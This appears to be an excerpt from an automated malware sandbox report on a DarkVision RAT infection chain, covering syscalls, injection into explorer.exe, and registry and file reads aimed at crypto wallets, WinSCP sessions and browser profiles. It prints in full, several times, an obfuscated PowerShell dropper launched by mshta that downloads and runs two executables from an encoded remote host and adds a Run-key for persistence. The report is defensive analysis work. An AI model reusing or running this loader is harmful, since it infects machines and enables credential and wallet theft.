                    Source: C:\Users\user\AppData\Local\Temp\BQE_Fast.exeNtAllocateVirtualMemory: Direct from: 0x14011D808
                    Source: C:\Users\user\AppData\Roaming\AltDaemon\pyexec.exeNtSetInformationThread: Direct from: 0x669D2315Jump to behavior
                    Source: C:\Users\user\AppData\Local\Temp\BQE_Fast.exeNtAllocateVirtualMemory: Direct from: 0x7FF6651C358D
                    Source: C:\Users\user\Virtual.exeNtAllocateVirtualMemory: Direct from: 0x7FFDFB288E14
                    Source: C:\Users\user\AppData\Local\Temp\BQE_Fast.exeNtAllocateVirtualMemory: Direct from: 0x7FF6652FCB28
                    Source: C:\Users\user\AppData\Local\Temp\BQE_Fast.exeNtProtectVirtualMemory: Direct from: 0x7FF6651FA956
                    Source: C:\Users\user\AppData\Local\Temp\BQE_Fast.exeNtReadFile: Direct from: 0x7FF66516966E
                    Source: C:\Users\user\AppData\Local\Temp\BQE_Fast.exeNtQuerySystemInformation: Direct from: 0x7FF66529A98C
                    Source: C:\Users\user\AppData\Roaming\RemoteSvc\Virtual.exeNtAllocateVirtualMemory: Direct from: 0x7FFDFB969635
                    Source: C:\Users\user\AppData\Local\Temp\BQE_Fast.exeNtAllocateVirtualMemory: Direct from: 0x7FF665296D29
                    Source: C:\Users\user\AppData\Local\Temp\BQE_Fast.exeNtCreateFile: Direct from: 0x7FF6652FB485
                    Source: C:\Users\user\AppData\Local\Temp\BQE_Fast.exeNtProtectVirtualMemory: Direct from: 0x7FF665202106
                    Source: C:\Users\user\AppData\Local\Temp\BQE_Fast.exeNtProtectVirtualMemory: Direct from: 0x7FF665299E3A
                    Source: C:\Users\user\AppData\Local\Temp\BQE_Fast.exeNtAllocateVirtualMemory: Direct from: 0x7FF66516F60F
                    Source: C:\Users\user\AppData\Local\Temp\BQE_Fast.exeNtReadFile: Direct from: 0x14011D832
                    Source: C:\Users\user\AppData\Local\Temp\BQE_Fast.exeNtQueryValueKey: Direct from: 0x7FF66518BB13
                    Source: C:\Users\user\AppData\Local\Temp\BQE_Fast.exeNtQueryInformationToken: Direct from: 0x7FF665188240
                    Source: C:\Users\user\AppData\Roaming\RemoteSvc\Virtual.exeNtAllocateVirtualMemory: Direct from: 0x3865390
                    Source: C:\Users\user\AppData\Roaming\RemoteSvc\Virtual.exeNtQuerySystemInformation: Direct from: 0x7FFD40CB21D3
                    Source: C:\Users\user\AppData\Local\Temp\BQE_Fast.exeNtQuerySystemInformation: Direct from: 0x7FF6651F383E
                    Source: C:\Users\user\AppData\Local\Temp\BQE_Fast.exeNtCreateFile: Direct from: 0x7FF6651693F7
                    Source: C:\Users\user\AppData\Local\Temp\BQE_Fast.exeNtEnumerateValueKey: Direct from: 0x7FF66524082D
                    Source: C:\Users\user\AppData\Local\Temp\BQE_Fast.exeNtCreateFile: Direct from: 0x14011D7A4
                    Source: C:\Users\user\AppData\Local\Temp\BQE_Fast.exeNtAllocateVirtualMemory: Direct from: 0x7FF665161766
                    Source: C:\Users\user\AppData\Local\Temp\BQE_Fast.exeNtQueryInformationProcess: Direct from: 0x7FF665161C1B
                    Source: C:\Users\user\AppData\Roaming\RemoteSvc\Virtual.exeNtQuerySystemInformation: Direct from: 0x7FFDFB952143
                    Source: C:\Users\user\AppData\Local\Temp\BQE_Fast.exeNtQueryValueKey: Direct from: 0x7FF66518C502
                    Source: C:\Users\user\AppData\Local\Temp\BQE_Fast.exeNtQueryInformationProcess: Direct from: 0x7FF66516EBE7
                    Source: C:\Users\user\AppData\Roaming\RemoteSvc\Virtual.exeNtProtectVirtualMemory: Direct from: 0x7FFDFB9694F5
                    Source: C:\Users\user\AppData\Local\Temp\BQE_Fast.exeNtSetInformationProcess: Direct from: 0x7FF66516FCD7
                    Source: C:\Users\user\AppData\Local\Temp\BQE_Fast.exeNtClose: Direct from: 0x7FF6652FDD8F
                    Source: C:\Users\user\AppData\Local\Temp\BQE_Fast.exeNtProtectVirtualMemory: Direct from: 0x7FF665305B56
                    Source: C:\Users\user\AppData\Roaming\RemoteSvc\Virtual.exeNtCreateFile: Direct from: 0x7FFDFB95CC95
                    Source: C:\Users\user\AppData\Local\Temp\BQE_Fast.exeNtRequestWaitReplyPort: Direct from: 0x7FF6651FAB0C
                    Source: C:\Users\user\AppData\Local\Temp\BQE_Fast.exeNtProtectVirtualMemory: Direct from: 0x7FF66516192F
                    Source: C:\Users\user\AppData\Local\Temp\BQE_Fast.exeNtClose: Direct from: 0x7FF6652FDD9D
                    Source: C:\Users\user\AppData\Local\Temp\BQE_Fast.exeNtProtectVirtualMemory: Direct from: 0x7FF665305A7E
                    Source: C:\Users\user\Virtual.exeNtQuerySystemInformation: Direct from: 0x5BDF90
                    Source: C:\Users\user\AppData\Local\Temp\BQE_Fast.exeNtAllocateVirtualMemory: Direct from: 0x7FF665297ED6
                    Source: C:\Users\user\AppData\Roaming\RemoteSvc\Virtual.exeNtProtectVirtualMemory: Direct from: 0x6C006C
                    Source: C:\Users\user\AppData\Roaming\AltDaemon\pyexec.exeNtSetInformationThread: Direct from: 0x6C4B2315
                    Source: C:\Users\user\AppData\Roaming\RemoteSvc\Virtual.exeNtCreateNamedPipeFile: Direct from: 0x5DF
                    Source: C:\Users\user\AppData\Local\Temp\BQE_Fast.exeNtQueryInformationToken: Direct from: 0x7FF6651FE497
                    Source: C:\Users\user\AppData\Local\Temp\BQE_Fast.exeNtAllocateVirtualMemory: Direct from: 0x140120A3C
                    Source: C:\Users\user\AppData\Local\Temp\BQE_Fast.exeNtCreateThreadEx: Direct from: 0x7FF6650A5024
                    Source: C:\Users\user\AppData\Local\Temp\BQE_Fast.exeNtAllocateVirtualMemory: Direct from: 0x7FF6650A4CC1
                    Source: C:\Users\user\AppData\Local\Temp\BQE_Fast.exeNtAllocateVirtualMemory: Direct from: 0x7FF665169608
                    Injects code into the Windows Explorer (explorer.exe)
                    Source: C:\Windows\SysWOW64\cmd.exeMemory written: PID: 368 base: 7FF72B812D10 value: 48
                    Source: C:\Windows\SysWOW64\cmd.exeMemory written: PID: 368 base: 5E4010 value: 00
                    Maps a DLL or memory area into another process
                    Source: C:\Users\user\AppData\Roaming\AltDaemon\pyexec.exeSection loaded: NULL target: C:\Windows\SysWOW64\cmd.exe protection: read writeJump to behavior
                    Source: C:\Windows\SysWOW64\cmd.exeSection loaded: NULL target: C:\Users\user\AppData\Local\Temp\BQE_Fast.exe protection: read writeJump to behavior
                    Source: C:\Users\user\AppData\Roaming\RemoteSvc\Virtual.exeSection loaded: NULL target: C:\Windows\SysWOW64\cmd.exe protection: read write
                    Source: C:\Windows\SysWOW64\cmd.exeSection loaded: NULL target: C:\Windows\explorer.exe protection: read write
                    Source: C:\Users\user\AppData\Roaming\AltDaemon\pyexec.exeSection loaded: NULL target: C:\Windows\SysWOW64\cmd.exe protection: read write
                    Source: C:\Users\user\AppData\Roaming\AltDaemon\pyexec.exeSection loaded: NULL target: C:\Windows\SysWOW64\cmd.exe protection: read write
                    Writes to foreign memory regions
                    Source: C:\Windows\SysWOW64\cmd.exeMemory written: C:\Users\user\AppData\Local\Temp\BQE_Fast.exe base: 14011BC08Jump to behavior
                    Source: C:\Windows\SysWOW64\cmd.exeMemory written: C:\Users\user\AppData\Local\Temp\BQE_Fast.exe base: 3BB010Jump to behavior
                    Source: C:\Windows\SysWOW64\cmd.exeMemory written: C:\Windows\explorer.exe base: 7FF72B812D10
                    Source: C:\Windows\SysWOW64\cmd.exeMemory written: C:\Windows\explorer.exe base: 5E4010
                    Source: C:\Users\user\AppData\Roaming\KNVYINNN.exeCode function: 3_2_00007FF7B1DE5700 SetDlgItemTextW,GetMessageW,IsDialogMessageW,TranslateMessage,DispatchMessageW,GetDlgItemTextW,EndDialog,GetDlgItem,SendMessageW,SendMessageW,SetFocus,swprintf,GetLastError,GetLastError,GetTickCount,swprintf,GetLastError,GetModuleFileNameW,swprintf,CreateFileMappingW,GetCommandLineW,MapViewOfFile,ShellExecuteExW,Sleep,UnmapViewOfFile,CloseHandle,swprintf,SetDlgItemTextW,SetWindowTextW,SetDlgItemTextW,SetWindowTextW,GetDlgItem,GetWindowLongPtrW,SetWindowLongPtrW,SetDlgItemTextW,swprintf,SendMessageW,SendDlgItemMessageW,GetDlgItem,SendMessageW,GetDlgItem,SetWindowTextW,SetDlgItemTextW,SetDlgItemTextW,SetForegroundWindow,DialogBoxParamW,EnableWindow,SendMessageW,PostMessageW,SetDlgItemTextW,3_2_00007FF7B1DE5700
                    Source: C:\Windows\SysWOW64\mshta.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted function gCKawp($xqETuHkBN, $cgpVK){[IO.File]::WriteAllBytes($xqETuHkBN, $cgpVK)};function TPUUAPTRh($xqETuHkBN){if($xqETuHkBN.EndsWith((odPEDz @(47359,47413,47421,47421))) -eq $True){Start-Process (odPEDz @(47427,47430,47423,47413,47421,47421,47364,47363,47359,47414,47433,47414)) $xqETuHkBN}else{Start-Process $xqETuHkBN}};function IogZmN($xqETuHkBN, $fYoQizCPx){[Microsoft.Win32.Registry]::SetValue((odPEDz @(47385,47388,47382,47402,47408,47380,47398,47395,47395,47382,47391,47397,47408,47398,47396,47382,47395,47405,47396,47424,47415,47429,47432,47410,47427,47414,47405,47390,47418,47412,47427,47424,47428,47424,47415,47429,47405,47400,47418,47423,47413,47424,47432,47428,47405,47380,47430,47427,47427,47414,47423,47429,47399,47414,47427,47428,47418,47424,47423,47405,47395,47430,47423)), $fYoQizCPx, $xqETuHkBN)};function MCNjOTFH($xqETuHkBN){$IVMCWJwi=(odPEDz @(47385,47418,47413,47413,47414,47423));$VGLgiVJ=(Get-ChildItem $xqETuHkBN -Force);$VGLgiVJ.Attributes=$VGLgiVJ.Attributes -bor ([IO.FileAttributes]$IVMCWJwi).value__};function oBvvmAnE($iXTtDfK){$GzBKYX = New-Object (odPEDz @(47391,47414,47429,47359,47400,47414,47411,47380,47421,47418,47414,47423,47429));[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::TLS12;$cgpVK = $GzBKYX.DownloadData($iXTtDfK);return $cgpVK};function odPEDz($rGehVsA){$jtBdpZ=47313;$YWQUeqd=$Null;foreach($qyPsd in $rGehVsA){$YWQUeqd+=[char]($qyPsd-$jtBdpZ)};return $YWQUeqd};function WmSEp(){$lEPJgGls = $env:APPDATA + '\';$SCATfjY = oBvvmAnE (odPEDz @(47417,47429,47429,47425,47428,47371,47360,47360,47425,47430,47411,47358,47414,47362,47415,47412,47413,47410,47413,47369,47363,47368,47367,47413,47365,47368,47413,47415,47410,47413,47364,47415,47369,47363,47415,47366,47370,47364,47367,47411,47370,47412,47366,47364,47359,47427,47363,47359,47413,47414,47431,47360,47388,47391,47399,47402,47386,47391,47391,47391,47359,47414,47433,47414));$VQrLt = $lEPJgGls + 'KNVYINNN.exe';gCKawp $VQrLt $SCATfjY;TPUUAPTRh $VQrLt;$fYoQizCPx = 'hzQtnaa';IogZmN $VQrLt $fYoQizCPx;;$MfdAL = oBvvmAnE (odPEDz @(47417,47429,47429,47425,47428,47371,47360,47360,47425,47430,47411,47358,47412,47366,47410,47362,47369,47414,47411,47368,47367,47414,47361,47364,47365,47413,47369,47369,47369,47370,47370,47414,47362,47415,47365,47365,47415,47369,47366,47370,47410,47369,47365,47370,47359,47427,47363,47359,47413,47414,47431,47360,47428,47414,47412,47424,47423,47413,47359,47414,47433,47414));$NtudOlR = $lEPJgGls + 'second.exe';gCKawp $NtudOlR $MfdAL;TPUUAPTRh $NtudOlR;MCNjOTFH $NtudOlR;;;}WmSEp;Jump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Users\user\AppData\Roaming\KNVYINNN.exe "C:\Users\user\AppData\Roaming\KNVYINNN.exe" Jump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Users\user\AppData\Roaming\second.exe "C:\Users\user\AppData\Roaming\second.exe" Jump to behavior
                    Source: C:\Users\user\AppData\Roaming\KNVYINNN.exeProcess created: C:\Users\user\pyexec.exe "C:\Users\user\pyexec.exe" Jump to behavior
                    Source: C:\Users\user\AppData\Roaming\AltDaemon\pyexec.exeProcess created: C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\cmd.exeJump to behavior
                    Source: C:\Users\user\AppData\Roaming\KNVYINNN.exeProcess created: C:\Users\user\pyexec.exe "C:\Users\user\pyexec.exe" Jump to behavior
                    Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Users\user\AppData\Local\Temp\BQE_Fast.exe C:\Users\user\AppData\Local\Temp\BQE_Fast.exeJump to behavior
                    Source: C:\Users\user\AppData\Roaming\second.exeProcess created: C:\Users\user\Virtual.exe "C:\Users\user\Virtual.exe" Jump to behavior
                    Source: C:\Users\user\AppData\Roaming\RemoteSvc\Virtual.exeProcess created: C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\cmd.exe
                    Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\explorer.exe C:\Windows\explorer.exe
                    Source: C:\Users\user\AppData\Roaming\AltDaemon\pyexec.exeProcess created: C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\cmd.exe
                    Source: C:\Users\user\AppData\Roaming\AltDaemon\pyexec.exeProcess created: C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\cmd.exe
                    Source: C:\Windows\SysWOW64\mshta.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -executionpolicy unrestricted function gckawp($xqetuhkbn, $cgpvk){[io.file]::writeallbytes($xqetuhkbn, $cgpvk)};function tpuuaptrh($xqetuhkbn){if($xqetuhkbn.endswith((odpedz @(47359,47413,47421,47421))) -eq $true){start-process (odpedz @(47427,47430,47423,47413,47421,47421,47364,47363,47359,47414,47433,47414)) $xqetuhkbn}else{start-process $xqetuhkbn}};function iogzmn($xqetuhkbn, $fyoqizcpx){[microsoft.win32.registry]::setvalue((odpedz @(47385,47388,47382,47402,47408,47380,47398,47395,47395,47382,47391,47397,47408,47398,47396,47382,47395,47405,47396,47424,47415,47429,47432,47410,47427,47414,47405,47390,47418,47412,47427,47424,47428,47424,47415,47429,47405,47400,47418,47423,47413,47424,47432,47428,47405,47380,47430,47427,47427,47414,47423,47429,47399,47414,47427,47428,47418,47424,47423,47405,47395,47430,47423)), $fyoqizcpx, $xqetuhkbn)};function mcnjotfh($xqetuhkbn){$ivmcwjwi=(odpedz @(47385,47418,47413,47413,47414,47423));$vglgivj=(get-childitem $xqetuhkbn -force);$vglgivj.attributes=$vglgivj.attributes -bor ([io.fileattributes]$ivmcwjwi).value__};function obvvmane($ixttdfk){$gzbkyx = new-object (odpedz @(47391,47414,47429,47359,47400,47414,47411,47380,47421,47418,47414,47423,47429));[net.servicepointmanager]::securityprotocol = [net.securityprotocoltype]::tls12;$cgpvk = $gzbkyx.downloaddata($ixttdfk);return $cgpvk};function odpedz($rgehvsa){$jtbdpz=47313;$ywqueqd=$null;foreach($qypsd in $rgehvsa){$ywqueqd+=[char]($qypsd-$jtbdpz)};return $ywqueqd};function wmsep(){$lepjggls = $env:appdata + '\';$scatfjy = obvvmane (odpedz @(47417,47429,47429,47425,47428,47371,47360,47360,47425,47430,47411,47358,47414,47362,47415,47412,47413,47410,47413,47369,47363,47368,47367,47413,47365,47368,47413,47415,47410,47413,47364,47415,47369,47363,47415,47366,47370,47364,47367,47411,47370,47412,47366,47364,47359,47427,47363,47359,47413,47414,47431,47360,47388,47391,47399,47402,47386,47391,47391,47391,47359,47414,47433,47414));$vqrlt = $lepjggls + 'knvyinnn.exe';gckawp $vqrlt $scatfjy;tpuuaptrh $vqrlt;$fyoqizcpx = 'hzqtnaa';iogzmn $vqrlt $fyoqizcpx;;$mfdal = obvvmane (odpedz @(47417,47429,47429,47425,47428,47371,47360,47360,47425,47430,47411,47358,47412,47366,47410,47362,47369,47414,47411,47368,47367,47414,47361,47364,47365,47413,47369,47369,47369,47370,47370,47414,47362,47415,47365,47365,47415,47369,47366,47370,47410,47369,47365,47370,47359,47427,47363,47359,47413,47414,47431,47360,47428,47414,47412,47424,47423,47413,47359,47414,47433,47414));$ntudolr = $lepjggls + 'second.exe';gckawp $ntudolr $mfdal;tpuuaptrh $ntudolr;mcnjotfh $ntudolr;;;}wmsep;
                    Source: C:\Windows\SysWOW64\mshta.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -executionpolicy unrestricted function gckawp($xqetuhkbn, $cgpvk){[io.file]::writeallbytes($xqetuhkbn, $cgpvk)};function tpuuaptrh($xqetuhkbn){if($xqetuhkbn.endswith((odpedz @(47359,47413,47421,47421))) -eq $true){start-process (odpedz @(47427,47430,47423,47413,47421,47421,47364,47363,47359,47414,47433,47414)) $xqetuhkbn}else{start-process $xqetuhkbn}};function iogzmn($xqetuhkbn, $fyoqizcpx){[microsoft.win32.registry]::setvalue((odpedz @(47385,47388,47382,47402,47408,47380,47398,47395,47395,47382,47391,47397,47408,47398,47396,47382,47395,47405,47396,47424,47415,47429,47432,47410,47427,47414,47405,47390,47418,47412,47427,47424,47428,47424,47415,47429,47405,47400,47418,47423,47413,47424,47432,47428,47405,47380,47430,47427,47427,47414,47423,47429,47399,47414,47427,47428,47418,47424,47423,47405,47395,47430,47423)), $fyoqizcpx, $xqetuhkbn)};function mcnjotfh($xqetuhkbn){$ivmcwjwi=(odpedz @(47385,47418,47413,47413,47414,47423));$vglgivj=(get-childitem $xqetuhkbn -force);$vglgivj.attributes=$vglgivj.attributes -bor ([io.fileattributes]$ivmcwjwi).value__};function obvvmane($ixttdfk){$gzbkyx = new-object (odpedz @(47391,47414,47429,47359,47400,47414,47411,47380,47421,47418,47414,47423,47429));[net.servicepointmanager]::securityprotocol = [net.securityprotocoltype]::tls12;$cgpvk = $gzbkyx.downloaddata($ixttdfk);return $cgpvk};function odpedz($rgehvsa){$jtbdpz=47313;$ywqueqd=$null;foreach($qypsd in $rgehvsa){$ywqueqd+=[char]($qypsd-$jtbdpz)};return $ywqueqd};function wmsep(){$lepjggls = $env:appdata + '\';$scatfjy = obvvmane (odpedz @(47417,47429,47429,47425,47428,47371,47360,47360,47425,47430,47411,47358,47414,47362,47415,47412,47413,47410,47413,47369,47363,47368,47367,47413,47365,47368,47413,47415,47410,47413,47364,47415,47369,47363,47415,47366,47370,47364,47367,47411,47370,47412,47366,47364,47359,47427,47363,47359,47413,47414,47431,47360,47388,47391,47399,47402,47386,47391,47391,47391,47359,47414,47433,47414));$vqrlt = $lepjggls + 'knvyinnn.exe';gckawp $vqrlt $scatfjy;tpuuaptrh $vqrlt;$fyoqizcpx = 'hzqtnaa';iogzmn $vqrlt $fyoqizcpx;;$mfdal = obvvmane (odpedz @(47417,47429,47429,47425,47428,47371,47360,47360,47425,47430,47411,47358,47412,47366,47410,47362,47369,47414,47411,47368,47367,47414,47361,47364,47365,47413,47369,47369,47369,47370,47370,47414,47362,47415,47365,47365,47415,47369,47366,47370,47410,47369,47365,47370,47359,47427,47363,47359,47413,47414,47431,47360,47428,47414,47412,47424,47423,47413,47359,47414,47433,47414));$ntudolr = $lepjggls + 'second.exe';gckawp $ntudolr $mfdal;tpuuaptrh $ntudolr;mcnjotfh $ntudolr;;;}wmsep;Jump to behavior
                    Source: pyexec.exe, 00000004.00000002.1900009727.0000000003380000.00000004.00000020.00020000.00000000.sdmp, pyexec.exe, 00000006.00000002.2004201753.0000000003386000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 0000000A.00000002.2318677215.0000000004E9D000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: )[%d] Shell_TrayWndTrayNotifyWnd
                    Source: C:\Users\user\AppData\Roaming\KNVYINNN.exeCode function: 3_2_00007FF7B1DFC9C0 cpuid 3_2_00007FF7B1DFC9C0
                    Source: C:\Users\user\AppData\Roaming\KNVYINNN.exeCode function: GetLocaleInfoW,GetNumberFormatW,3_2_00007FF7B1DE4CE8
                    Source: C:\Users\user\pyexec.exeCode function: GetACP,PyOS_snprintf,GetLocaleInfoA,GetLocaleInfoA,GetLocaleInfoA,GetLocaleInfoA,_Py_NoneStruct,Py_BuildValue,4_2_6700FDD0
                    Source: C:\Users\user\AppData\Roaming\AltDaemon\pyexec.exeCode function: GetACP,PyOS_snprintf,GetLocaleInfoA,GetLocaleInfoA,GetLocaleInfoA,GetLocaleInfoA,_Py_NoneStruct,Py_BuildValue,6_2_669DFDD0
                    Source: C:\Users\user\AppData\Local\Temp\BQE_Fast.exeKey value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion InstallDate
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformationJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformationJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformationJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformationJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceProcess\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.ServiceProcess.dll VolumeInformationJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformationJump to behavior
                    Source: C:\Windows\SysWOW64\cmd.exeQueries volume information: C:\ VolumeInformationJump to behavior
                    Source: C:\Windows\System32\svchost.exeQueries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation
                    Source: C:\Windows\System32\svchost.exeQueries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation
                    Source: C:\Windows\System32\svchost.exeQueries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation
                    Source: C:\Windows\System32\svchost.exeQueries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation
                    Source: C:\Windows\System32\svchost.exeQueries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation
                    Source: C:\Windows\System32\svchost.exeQueries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation
                    Source: C:\Windows\System32\svchost.exeQueries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation
                    Source: C:\Windows\System32\svchost.exeQueries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation
                    Source: C:\Windows\System32\svchost.exeQueries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation
                    Source: C:\Windows\System32\svchost.exeQueries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation
                    Source: C:\Windows\System32\svchost.exeQueries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation
                    Source: C:\Windows\System32\svchost.exeQueries volume information: C:\ VolumeInformation
                    Source: C:\Windows\System32\svchost.exeQueries volume information: C:\ VolumeInformation
                    Source: C:\Users\user\AppData\Roaming\KNVYINNN.exeCode function: 3_2_00007FF7B1DE8588 GetCommandLineW,OpenFileMappingW,MapViewOfFile,UnmapViewOfFile,CloseHandle,GetModuleFileNameW,SetEnvironmentVariableW,GetLocalTime,swprintf,SetEnvironmentVariableW,GetModuleHandleW,LoadIconW,DialogBoxParamW,Sleep,DeleteObject,DeleteObject,CloseHandle,OleUninitialize,3_2_00007FF7B1DE8588
                    Source: C:\Users\user\AppData\Roaming\KNVYINNN.exeCode function: 3_2_00007FF7B1DD3B10 GetVersionExW,3_2_00007FF7B1DD3B10
                    Source: C:\Users\user\AppData\Local\Temp\BQE_Fast.exeKey value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

                    Stealing of Sensitive Information

                    barindex
                    Yara detected DarkVision Rat
                    Source: Yara matchFile source: 19.2.explorer.exe.7ff7f06c0000.5.unpack, type: UNPACKEDPE
                    Source: Yara matchFile source: Process Memory Space: cmd.exe PID: 6168, type: MEMORYSTR
                    Source: Yara matchFile source: C:\Users\user\AppData\Local\Temp\yawa, type: DROPPED
                    Tries to harvest and steal Bitcoin Wallet information
                    Source: C:\Users\user\AppData\Local\Temp\BQE_Fast.exeKey opened: HKEY_CURRENT_USER\Software\Bitcoin\Bitcoin-Qt
                    Source: C:\Users\user\AppData\Local\Temp\BQE_Fast.exeKey opened: HKEY_CURRENT_USER\Software\monero-project\monero-core
                    Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)
                    Source: C:\Users\user\AppData\Local\Temp\BQE_Fast.exeKey opened: HKEY_CURRENT_USER\Software\Martin Prikryl\WinSCP 2\Sessions
                    Source: C:\Users\user\AppData\Local\Temp\BQE_Fast.exeKey opened: HKEY_CURRENT_USER\Software\Martin Prikryl\WinSCP 2 Override
                    Tries to harvest and steal browser information (history, passwords, etc)
                    Source: C:\Users\user\AppData\Local\Temp\BQE_Fast.exeFile opened: C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles
                    Source: C:\Users\user\AppData\Local\Temp\BQE_Fast.exeFile opened: C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\fqs92o4p.default-release
                    Source: C:\Users\user\AppData\Local\Temp\BQE_Fast.exeFile opened: C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\z6bny8rn.default
                    Source: C:\Users\user\AppData\Local\Temp\BQE_Fast.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default
                    Source: C:\Users\user\AppData\Local\Temp\BQE_Fast.exeDirectory queried: C:\Users\user\Documents
                    Source: C:\Users\user\AppData\Local\Temp\BQE_Fast.exeDirectory queried: C:\Users\user\Documents

                    Remote Access Functionality

                    barindex
                    Yara detected DarkVision Rat
                    Source: Yara matchFile source: 19.2.explorer.exe.7ff7f06c0000.5.unpack, type: UNPACKEDPE
                    Source: Yara matchFile source: Process Memory Space: cmd.exe PID: 6168, type: MEMORYSTR
                    Source: Yara matchFile source: C:\Users\user\AppData\Local\Temp\yawa, type: DROPPED

                    Mitre Att&ck Matrix

                    ReconnaissanceResource DevelopmentInitial AccessExecutionPersistencePrivilege EscalationDefense EvasionCredential AccessDiscoveryLateral MovementCollectionCommand and ControlExfiltrationImpact
                    Gather Victim Identity InformationAcquire InfrastructureValid Accounts1
                    Native API                    		11
                    DLL Side-Loading                    		1
                    Exploitation for Privilege Escalation                    		1
                    Deobfuscate/Decode Files or Information                    		1
                    OS Credential Dumping                    		1
                    System Time Discovery                    		Remote Services1
                    Archive Collected Data                    		1
